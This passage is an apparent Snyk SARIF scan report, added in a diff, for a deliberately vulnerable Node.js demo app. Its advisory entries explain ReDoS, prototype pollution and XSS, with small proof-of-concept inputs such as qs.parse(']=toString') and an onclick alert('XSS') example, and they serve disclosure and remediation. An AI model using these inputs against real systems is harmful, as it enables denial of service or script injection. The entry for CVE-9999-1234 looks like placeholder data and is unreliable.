cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `mongodb` to version 3.1.13 or higher.\n# References\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1203)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-JQUERY-174006", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in jquery" + }, + "fullDescription": { + "text": "(CVE-2019-5428, CVE-2019-11358) jquery@2.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jquery\n* Introduced through: goof@1.0.1 and jquery@2.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › jquery@2.2.4\n# Overview\n[jquery](https://www.npmjs.com/package/jquery) is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `extend` function can be tricked into modifying the prototype of `Object` when the attacker controls part of the structure passed to this function. This can let an attacker add or modify an existing property that will then exist on all objects.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "npm:qs:20170213", + "shortDescription": { + "text": "High severity - Prototype Override Protection Bypass vulnerability in qs" + }, + "fullDescription": { + "text": "(CVE-2017-1000048) qs@2.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: qs\n* Introduced through: goof@1.0.1, body-parser@1.9.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › body-parser@1.9.0 › qs@2.2.4\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › qs@2.4.2\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › qs@1.2.2\n# Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Prototype Override Protection Bypass. By default `qs` protects against attacks that attempt to overwrite an object's existing prototype properties, such as `toString()`, `hasOwnProperty()`,etc.\r\n\r\nFrom [`qs` documentation](https://github.com/ljharb/qs):\r\n> By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.\r\n\r\nOverwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.\r\n\r\nIn versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with `[` or `]`. e.g. `qs.parse(\"]=toString\")` will return `{toString = true}`, as a result, calling `toString()` on the object will throw an exception.\r\n\r\n**Example:**\r\n```js\r\nqs.parse('toString=foo', { allowPrototypes: false })\r\n// {}\r\n\r\nqs.parse(\"]=toString\", { allowPrototypes: false })\r\n// {toString = true} <== prototype overwritten\r\n```\r\n\r\nFor more information, you can check out our [blog](https://snyk.io/blog/high-severity-vulnerability-qs/).\r\n\r\n# Disclosure Timeline\r\n- February 13th, 2017 - Reported the issue to package owner.\r\n- February 13th, 2017 - Issue acknowledged by package owner.\r\n- February 16th, 2017 - Partial fix released in versions `6.0.3`, `6.1.1`, `6.2.2`, `6.3.1`.\r\n- March 6th, 2017 - Final fix released in versions `6.4.0`,`6.3.2`, `6.2.3`, `6.1.2` and `6.0.4`\n# Remediation\nUpgrade `qs` to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.\n# References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/beade029171b8cef9cee0d03ebe577e2dd84976d)\n- [GitHub Issue](https://github.com/ljharb/qs/issues/200)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-20", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:marked:20170815-1", + "shortDescription": { + "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in marked" + }, + "fullDescription": { + "text": "marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). When mangling is disabled via option `mangle`, marked doesn't escape target `href`. This may allow an attacker to inject arbitrary `html-event` into resulting a tag.\r\n\r\nFor example:\r\n```js\r\nvar marked = require('marked');\r\nmarked.setOptions({\r\n renderer: new marked.Renderer(),\r\n sanitize: true,\r\n mangle: false\r\n});\r\n\r\ntext = `\r\n\r\n`;\r\n\r\nconsole.log(marked(text));\r\n```\r\n\r\nwill render:\r\n\r\n```html\r\n

bar\"onclick=\"alert('XSS')\"@foo

\r\n```\n# Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `marked` to version 0.3.9 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/pull/976/commits/cb72584c5d9d32ebfdbb99e35fb9b81af2b79686)\n- [GitHub Issue](https://github.com/chjj/marked/issues/926)\n- [GitHub PR](https://github.com/chjj/marked/pull/958)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 4.8, + "security-severity": "4.8" + } + }, + { + "id": "SNYK-JS-DEBUG-14214893", + "shortDescription": { + "text": "Medium severity - Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity vulnerability in debug" + }, + "fullDescription": { + "text": "(CVE-9999-1234) debug@4.1.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: debug\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-gradle-plugin@3.2.4 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-docker-plugin@1.38.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-sbt-plugin@2.11.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › needle@2.3.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › @snyk/nodejs-runtime-agent@1.43.0 › needle@2.3.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › @snyk/nodejs-runtime-agent@1.43.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › finalhandler@0.3.6 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mquery@1.6.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › method-override@3.0.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › http-proxy-agent@2.1.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › http-proxy-agent@2.1.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › morgan@1.10.0 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › get-uri@2.0.4 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › tap-mocha-reporter@0.0.27 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › https-proxy-agent@3.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › https-proxy-agent@3.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › needle@2.4.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › debug@3.2.6\n# Overview\n[debug](https://github.com/visionmedia/debug) is a small debugging utility.\n\nAffected versions of this package are vulnerable to Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity. None\n# Remediation\nThere is no fixed version for `debug`.\n\n# References\n- [GitHub Issue](https://github.com/debug-js/debug/issues/957)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-109", + "npm" + ], + "cvssv3_baseScore": 6.9, + "security-severity": "6.9" + } + }, + { + "id": "SNYK-JS-PATHTOREGEXP-13271681", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in path-to-regexp" + }, + "fullDescription": { + "text": "(CVE-2024-45296) path-to-regexp@0.1.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: path-to-regexp\n* Introduced through: goof@1.0.1, express@4.12.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › path-to-regexp@0.1.3\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `path-to-regexp` to version 1.0.0 or higher.\n# References\n- [GitHub Advisory](https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f)\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-174183", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A Prototype Pollution allowing Remote Code Execution can be exploited using the constructor, via the 'lookup' helper.\r\nThis vulnerability is due to an incomplete fix for: `SNYK-JS-HANDLEBARS-173692`\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/Java" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-JSYAML-173999", + "shortDescription": { + "text": "Medium severity - Denial of Service (DoS) vulnerability in js-yaml" + }, + "fullDescription": { + "text": "js-yaml@3.6.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: js-yaml\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › js-yaml@3.6.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › js-yaml@3.6.1\n# Overview\n[js-yaml](https://www.npmjs.com/package/js-yaml) is a human-friendly data serialization language.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| 